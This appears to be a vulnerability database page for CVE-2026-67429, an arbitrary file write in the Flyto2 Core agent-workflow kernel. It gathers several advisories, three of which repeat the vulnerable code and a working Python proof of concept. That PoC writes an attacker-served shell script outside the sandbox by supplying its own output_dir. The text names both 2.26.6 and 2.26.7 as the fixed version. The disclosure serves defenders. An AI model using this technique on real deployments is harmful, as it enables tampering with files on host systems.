CVE-2026-67429
Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)
Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, image.download and related file-writing modules use caller-controlled output_dir instead of validate_path_with_env_config and its FLYTO_SANDBOX_DIR confinement, allowing attacker-controlled response bytes to be written to arbitrary filesystem paths the process can access. This issue is fixed in version 2.26.6.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
10.0
Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)
Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, image.download and related file-writing modules use caller-controlled output_dir instead of validate_path_with_env_config and its FLYTO_SANDBOX_DIR confinement, allowing attacker-controlled response bytes to be written to arbitrary filesystem paths the process can access. This issue is fixed in version 2.26.6.
- Record
CVE-2026-67429- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H - Weakness
- CWE-22, CWE-73
- Updated
- 2026-11-02
EUVDEUVD-2026-50473
10.0
Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, image.download and related file-writing modules use caller-controlled output_dir instead of validate_path_with_env_config and its FLYTO_SANDBOX_DIR confinement, allowing attacker-controlled response bytes to be written to arbitrary filesystem paths the process can access. This issue is fixed in version 2.26.6.
- Record
EUVD-2026-50473- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-2956-977x-2w3r
10.0
Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)
Summary
image.download fetches a URL and writes the response to disk. It does not use the central path guard (validate_path_with_env_config, which confines writes to FLYTO_SANDBOX_DIR); instead it confines the output to output_dir, but output_dir is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.
Affected code
src/core/modules/atomic/image/download.py:
output_path = params.get('output_path')
output_dir = params.get('output_dir', '/tmp') # caller-controlled base
...
base_real = os.path.realpath(output_dir)
target_real = os.path.realpath(output_path)
if os.path.commonpath([base_real, target_real]) != base_real:
raise Exception('Invalid file path') # base is attacker-chosen, so always passes
...
content = await response.read() # attacker-hosted bytes
with open(target_real, 'wb') as f:
f.write(content)
commonpath is used correctly, but the base is caller-supplied, so setting output_dir='/' passes any target. file.write, by contrast, uses validate_path_with_env_config() and stays inside FLYTO_SANDBOX_DIR.
This is not isolated to image.download. Most other file-writing modules write to a caller output_path with no path check at all: image.convert, image.resize, image.crop, image.compress, image.rotate, image.watermark, image.qrcode_generate, document.excel_write, document.pdf_fill_form, document.word_to_pdf, document.pdf_to_word and browser.pagination. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; image.download is the strongest because the bytes are arbitrary.
Reproduction
Save as filewrite_poc.py, run with PYTHONPATH=src/src python filewrite_poc.py. It sets FLYTO_SANDBOX_DIR to a sandbox dir and writes to a sibling directory outside it.
#!/usr/bin/env python3
import asyncio
import os
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # let the content host pass the SSRF check
EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n"
class Content(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.send_header("Content-Type", "image/jpeg")
self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)
def log_message(self, *a): pass
async def run(mid, params):
from core.modules.registry import ModuleRegistry
try:
return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={}))
except Exception as e:
return ("EXC", f"{type(e).__name__}: {e}")
async def main():
from core.modules.atomic import register_all
register_all()
threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start()
root = tempfile.mkdtemp(prefix="flyto_poc_")
sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox)
escape = os.path.join(root, "ESCAPE"); os.makedirs(escape)
os.environ["FLYTO_SANDBOX_DIR"] = sandbox
target = os.path.join(escape, "pwned") # OUTSIDE the sandbox
print("A) file.write:", await run("file.write", {"path": target, "content": "x"}))
print("B) image.download:", await run("image.download", {
"url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target}))
print("file written outside sandbox?", os.path.exists(target))
if os.path.exists(target):
print("content:", open(target, "rb").read())
if __name__ == "__main__":
asyncio.run(main())
Output:
A) file.write: ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...')
B) image.download: ('RESULT', {'ok':…
- Record
GHSA-2956-977x-2w3r- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H - Weakness
- CWE-22, CWE-73
- Updated
- 2026-11-02
NVD
10.0
Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, image.download and related file-writing modules use caller-controlled output_dir instead of validate_path_with_env_config and its FLYTO_SANDBOX_DIR confinement, allowing attacker-controlled response bytes to be written to arbitrary filesystem paths the process can access. This issue is fixed in version 2.26.6.
- Record
CVE-2026-67429- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H - Weakness
- CWE-22, CWE-73
- Updated
- 2026-11-02
OSV
10.0
Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)
Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, image.download and related file-writing modules use caller-controlled output_dir instead of validate_path_with_env_config and its FLYTO_SANDBOX_DIR confinement, allowing attacker-controlled response bytes to be written to arbitrary filesystem paths the process can access. This issue is fixed in version 2.26.6.
- Record
CVE-2026-67429- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H - Weakness
- CWE-22, CWE-73
- Updated
- 2026-11-02
OSVGHSA-2956-977x-2w3r
10.0
Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)
Summary
image.download fetches a URL and writes the response to disk. It does not use the central path guard (validate_path_with_env_config, which confines writes to FLYTO_SANDBOX_DIR); instead it confines the output to output_dir, but output_dir is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.
Affected code
src/core/modules/atomic/image/download.py:
output_path = params.get('output_path')
output_dir = params.get('output_dir', '/tmp') # caller-controlled base
...
base_real = os.path.realpath(output_dir)
target_real = os.path.realpath(output_path)
if os.path.commonpath([base_real, target_real]) != base_real:
raise Exception('Invalid file path') # base is attacker-chosen, so always passes
...
content = await response.read() # attacker-hosted bytes
with open(target_real, 'wb') as f:
f.write(content)
commonpath is used correctly, but the base is caller-supplied, so setting output_dir='/' passes any target. file.write, by contrast, uses validate_path_with_env_config() and stays inside FLYTO_SANDBOX_DIR.
This is not isolated to image.download. Most other file-writing modules write to a caller output_path with no path check at all: image.convert, image.resize, image.crop, image.compress, image.rotate, image.watermark, image.qrcode_generate, document.excel_write, document.pdf_fill_form, document.word_to_pdf, document.pdf_to_word and browser.pagination. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; image.download is the strongest because the bytes are arbitrary.
Reproduction
Save as filewrite_poc.py, run with PYTHONPATH=src/src python filewrite_poc.py. It sets FLYTO_SANDBOX_DIR to a sandbox dir and writes to a sibling directory outside it.
#!/usr/bin/env python3
import asyncio
import os
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # let the content host pass the SSRF check
EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n"
class Content(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.send_header("Content-Type", "image/jpeg")
self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)
def log_message(self, *a): pass
async def run(mid, params):
from core.modules.registry import ModuleRegistry
try:
return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={}))
except Exception as e:
return ("EXC", f"{type(e).__name__}: {e}")
async def main():
from core.modules.atomic import register_all
register_all()
threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start()
root = tempfile.mkdtemp(prefix="flyto_poc_")
sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox)
escape = os.path.join(root, "ESCAPE"); os.makedirs(escape)
os.environ["FLYTO_SANDBOX_DIR"] = sandbox
target = os.path.join(escape, "pwned") # OUTSIDE the sandbox
print("A) file.write:", await run("file.write", {"path": target, "content": "x"}))
print("B) image.download:", await run("image.download", {
"url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target}))
print("file written outside sandbox?", os.path.exists(target))
if os.path.exists(target):
print("content:", open(target, "rb").read())
if __name__ == "__main__":
asyncio.run(main())
Output:
A) file.write: ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...')
B) image.download: ('RESULT', {'ok':…
- Record
GHSA-2956-977x-2w3r- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H - Weakness
- CWE-22, CWE-73
- Updated
- 2026-11-02
OSVPYSEC-2026-3568
10.0
Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)
Summary
image.download fetches a URL and writes the response to disk. It does not use the central path guard (validate_path_with_env_config, which confines writes to FLYTO_SANDBOX_DIR); instead it confines the output to output_dir, but output_dir is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.
Affected code
src/core/modules/atomic/image/download.py:
output_path = params.get('output_path')
output_dir = params.get('output_dir', '/tmp') # caller-controlled base
...
base_real = os.path.realpath(output_dir)
target_real = os.path.realpath(output_path)
if os.path.commonpath([base_real, target_real]) != base_real:
raise Exception('Invalid file path') # base is attacker-chosen, so always passes
...
content = await response.read() # attacker-hosted bytes
with open(target_real, 'wb') as f:
f.write(content)
commonpath is used correctly, but the base is caller-supplied, so setting output_dir='/' passes any target. file.write, by contrast, uses validate_path_with_env_config() and stays inside FLYTO_SANDBOX_DIR.
This is not isolated to image.download. Most other file-writing modules write to a caller output_path with no path check at all: image.convert, image.resize, image.crop, image.compress, image.rotate, image.watermark, image.qrcode_generate, document.excel_write, document.pdf_fill_form, document.word_to_pdf, document.pdf_to_word and browser.pagination. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; image.download is the strongest because the bytes are arbitrary.
Reproduction
Save as filewrite_poc.py, run with PYTHONPATH=src/src python filewrite_poc.py. It sets FLYTO_SANDBOX_DIR to a sandbox dir and writes to a sibling directory outside it.
#!/usr/bin/env python3
import asyncio
import os
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # let the content host pass the SSRF check
EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n"
class Content(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.send_header("Content-Type", "image/jpeg")
self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)
def log_message(self, *a): pass
async def run(mid, params):
from core.modules.registry import ModuleRegistry
try:
return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={}))
except Exception as e:
return ("EXC", f"{type(e).__name__}: {e}")
async def main():
from core.modules.atomic import register_all
register_all()
threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start()
root = tempfile.mkdtemp(prefix="flyto_poc_")
sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox)
escape = os.path.join(root, "ESCAPE"); os.makedirs(escape)
os.environ["FLYTO_SANDBOX_DIR"] = sandbox
target = os.path.join(escape, "pwned") # OUTSIDE the sandbox
print("A) file.write:", await run("file.write", {"path": target, "content": "x"}))
print("B) image.download:", await run("image.download", {
"url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target}))
print("file written outside sandbox?", os.path.exists(target))
if os.path.exists(target):
print("content:", open(target, "rb").read())
if __name__ == "__main__":
asyncio.run(main())
Output:
A) file.write: ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...')
B) image.download: ('RESULT', {'ok':…
- Record
PYSEC-2026-3568- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
flyto-corePyPI |
before 2.26.7 | 2.26.7 |
flyto-corePyPI |
before 2.26.7, plus listed versions 1.0.01.0.11.0.21.0.31.0.4 Show 45 moreShow less1.0.51.0.61.0.71.0.81.0.91.1.01.1.11.11.01.12.01.13.01.14.01.14.11.14.21.15.01.16.01.16.11.16.101.16.21.16.31.16.41.16.51.16.61.16.71.16.81.16.91.2.01.3.01.4.01.5.01.5.11.5.21.5.41.6.01.6.11.6.21.6.31.6.41.6.51.7.01.7.11.7.21.7.31.7.41.7.51.7.6 |
2.26.7 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-67429 is a critical vulnerability (CVSS 10.0) in Flytohub Flyto-core, published July 29, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.57%, the 47th percentile. Fixed in flyto-core 2.26.7.
References
github.com/flytohub/flyto-core/security/advisories/GHSA-2956-977x-2w3r
github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc
github.com/flytohub/flyto-core/releases/tag/v2.26.6
nvd.nist.gov/vuln/detail/CVE-2026-67429
github.com/advisories/GHSA-2956-977x-2w3r
github.com/CVEProject/cvelistV5/tree/main/cves/2026/67xxx/CVE-2026-67429.json
github.com/flytohub/flyto-core
pypi.org/project/flyto-core
Left out here: 166 versions and the rest of 3 source descriptions. The JSON record has them.